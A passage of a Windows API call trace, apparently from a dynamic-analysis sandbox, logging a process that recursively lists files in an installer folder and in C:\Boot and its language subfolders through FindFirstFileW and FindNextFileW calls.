	[0041.646] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1
	[0041.646] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1
	[0041.646] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0041.647] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml", cAlternateFileName="")) returned 1
	[0041.647] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0041.647] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1
	[0041.647] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
	[0041.647] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1
	[0041.647] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1
	[0041.647] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1
	[0041.647] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0
	[0041.650] FindClose (in: hFindFile=0x742db0 | out: hFindFile=0x742db0) returned 1
	[0041.657] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0041.658] FindNextFileW (in: hFindFile=0x742d30, lpFindFileData=0x34efcf8 | out: lpFindFileData=0x34efcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0041.658] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x4290050
	[0041.659] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x742bf0
	[0041.659] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0041.661] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1
	[0041.661] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0041.661] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0041.661] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0041.661] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0041.661] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.661] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742e70
	[0041.661] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.662] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0041.662] FindNextFileW (in: hFindFile=0x742e70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0041.662] FindClose (in: hFindFile=0x742e70 | out: hFindFile=0x742e70) returned 1
	[0041.662] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.662] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0041.662] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1
	[0041.662] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1
	[0041.662] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0041.662] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.662] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742bb0
	[0041.664] FindNextFileW (in: hFindFile=0x742bb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.664] FindNextFileW (in: hFindFile=0x742bb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0041.664] FindNextFileW (in: hFindFile=0x742bb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0041.664] FindNextFileW (in: hFindFile=0x742bb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0041.664] FindClose (in: hFindFile=0x742bb0 | out: hFindFile=0x742bb0) returned 1
	[0041.664] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.664] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0041.664] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.664] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742b70
	[0041.665] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.665] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0041.665] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0041.665] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0041.665] FindClose (in: hFindFile=0x742b70 | out: hFindFile=0x742b70) returned 1
	[0041.665] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.665] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0041.665] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.665] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x743270
	[0041.665] FindNextFileW (in: hFindFile=0x743270, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.665] FindNextFileW (in: hFindFile=0x743270, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0041.665] FindNextFileW (in: hFindFile=0x743270, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0041.665] FindNextFileW (in: hFindFile=0x743270, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0041.665] FindClose (in: hFindFile=0x743270 | out: hFindFile=0x743270) returned 1
